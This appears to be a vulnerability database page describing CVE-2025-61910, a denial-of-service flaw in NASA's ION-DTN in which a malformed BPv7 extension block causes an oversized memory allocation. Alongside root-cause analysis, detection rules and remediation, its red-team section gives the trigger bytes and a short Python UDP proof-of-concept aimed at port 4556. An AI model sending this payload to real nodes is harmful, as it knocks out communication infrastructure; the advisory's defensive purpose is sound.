CVE-2025-61910
Executive Summary
CVE-2025-61910 is a high-severity Denial-of-Service (DoS) vulnerability in NASA’s Interplanetary Overlay Network (ION) implementation of Delay/Disruption Tolerant Networking (DTN), specifically in version 4.1.3s. The flaw resides in the processing of BPv7 bundles with malformed extension blocks. A crafted bundle containing a CBOR-encoded extension block triggers an integer overflow during memory allocation, leading to uncontrolled memory allocation and termination of the receiver thread. This results in a complete denial of service for the affected ION node. The vulnerability is currently unpatched, and no known fixes exist as of the time of publication. The attack vector is network-based, requires no authentication, and has low complexity, making it a significant threat to space communication infrastructure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions or complex steps are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The victim does not need to perform any action.
- Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No data is exposed.
- Integrity Impact: None (I:N) – No data is modified.
- Availability Impact: High (A:H) – The service is completely disrupted.
Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, posing a critical risk to the availability of ION-DTN nodes in space or ground networks.
Deep Dive & Mechanics
The vulnerability is triggered by a BPv7 bundle containing a malformed extension block. The extension block starts with the bytes 0x85070201005bbb0e20b4ea001a000927c0.... The first byte 0x85 indicates a CBOR array of five elements. The first four elements are numbers (0x07, 0x02, 0x01, 0x00), but the fifth element is a byte string of length 27 (0x5bbb0e20b4ea001a000927c0...). The vulnerability is specifically triggered when processing this fifth element as a byte string; replacing it with a number prevents the crash.
During parsing, the code in bei.c at line 764 calculates a block length. The blockLength variable, which is an unsigned int, is passed to a 32-bit signed integer blkSize. The unsigned-to-signed conversion causes blkSize to hold a negative value (e.g., -369092043). This negative value is then converted to a 64-bit unsigned value inside the MTAKE(blkSize) macro, resulting in an attempt to allocate an unrealistic amount of memory (approximately 18 exabytes). This uncontrolled memory allocation fails, causing the receiver thread to terminate and resulting in a Denial-of-Service.
The root cause is an integer overflow/signedness error in the conversion from unsigned to signed integer, combined with improper validation of the block length before memory allocation.
Vulnerable vs. Patched Code
Vulnerable Code (ION-DTN 4.1.3s, bei.c line 764):
unsigned int blockLength;
int blkSize;
// ... parsing logic ...
blkSize = blockLength; // Unsigned to signed conversion without bounds check
// ...
MTAKE(blkSize); // Attempts to allocate blkSize bytes
Patched Code (Hypothetical):
unsigned int blockLength;
size_t blkSize;
// ... parsing logic ...
if (blockLength > MAX_ALLOC_SIZE) {
// Handle error, reject bundle
return -1;
}
blkSize = blockLength; // Use size_t to avoid signedness issues
// ...
MTAKE(blkSize);
The patch would involve:
- Changing
blkSizetosize_tto avoid signedness issues. - Adding a bounds check to ensure
blockLengthdoes not exceed a reasonable maximum allocation size. - Properly handling the error case when the block length is invalid.
Exploitation & Lab Setup
Red Team
Exploitation Steps:
- Craft the Malicious Bundle: Create a BPv7 bundle with a malformed extension block. The extension block must start with
0x85070201005bbb0e20b4ea001a000927c0...to trigger the vulnerability. - Send the Bundle: Transmit the crafted bundle to the target ION-DTN node over the network.
- Trigger DoS: The target node will attempt to allocate an unrealistic amount of memory, causing the receiver thread to terminate and the service to become unavailable.
Proof-of-Concept (PoC) Script (Python):
import socket
# Craft the malformed extension block
extension_block = bytes.fromhex('85070201005bbb0e20b4ea001a000927c0')
# Build a minimal BPv7 bundle (simplified for PoC)
bundle = b'\x00' * 100 # Placeholder for bundle header
bundle += extension_block
# Send to target
target_ip = '192.168.1.100'
target_port = 4556
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(bundle, (target_ip, target_port))
sock.close()
Expected Outcome: The target ION-DTN node becomes unresponsive due to thread termination.
Blue Team
Detection and Mitigation:
- Network Monitoring: Monitor for BPv7 bundles with unusually large extension blocks or specific byte patterns (e.g., starting with
0x8507020100). - Memory Usage Alerts: Set up alerts for abnormal memory allocation attempts on ION-DTN nodes.
- Rate Limiting: Implement rate limiting for incoming bundles to reduce the impact of repeated attacks.
- Firewall Rules: Block or restrict access to ION-DTN ports (e.g., 4556) from untrusted networks.
- Process Monitoring: Monitor the ION-DTN process for unexpected terminations and restart automatically.
Indicators of Compromise (IOCs)
Network IOCs:
- BPv7 bundles containing extension blocks starting with
0x8507020100. - Unusually large bundle sizes (e.g., > 1 MB) for extension blocks.
- Repeated connection attempts to ION-DTN ports (4556/UDP) from a single source.
- BPv7 bundles containing extension blocks starting with
Host IOCs:
- ION-DTN process crash logs indicating memory allocation failure.
- System logs showing out-of-memory (OOM) events.
- High memory usage spikes before process termination.
File IOCs:
- Crafted bundle files with the specific byte pattern
0x85070201005bbb0e20b4ea001a000927c0.
- Crafted bundle files with the specific byte pattern
Detection Engineering
YARA Rule
rule CVE_2025_61910_ION_DTN_DoS {
meta:
description = "Detects BPv7 bundles with malformed extension blocks triggering CVE-2025-61910"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61910"
strings:
$trigger = { 85 07 02 01 00 5b bb 0e 20 b4 ea 00 1a 00 09 27 c0 }
condition:
$trigger
}
Sigma Rule
title: CVE-2025-61910 ION-DTN DoS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic containing malformed BPv7 extension blocks targeting ION-DTN
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
payload|contains: '85070201005bbb0e20b4ea001a000927c0'
condition: selection
falsepositives:
- Legitimate BPv7 bundles with similar byte patterns (unlikely)
level: high
Suricata Rule
alert udp any any -> any 4556 (msg:"CVE-2025-61910 ION-DTN Malformed Extension Block DoS"; content:"|85 07 02 01 00 5b bb 0e 20 b4 ea 00 1a 00 09 27 c0|"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Affected Systems: Disconnect ION-DTN nodes from untrusted networks if possible.
- Apply Workarounds: Implement network-level filtering to block bundles with extension blocks starting with
0x8507020100. - Monitor for Patches: Regularly check for updates from NASA regarding ION-DTN patches.
Long-Term Fixes:
- Code Review: Conduct a thorough review of
bei.cand related files for integer overflow and signedness issues. - Input Validation: Add strict validation of block lengths before memory allocation.
- Memory Allocation Limits: Implement maximum allocation size checks in
MTAKEand similar macros. - Use Safe Types: Replace
intwithsize_tfor memory size variables to avoid signedness issues.
Vendor Contact: NASA’s ION-DTN development team should be contacted for official patches.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.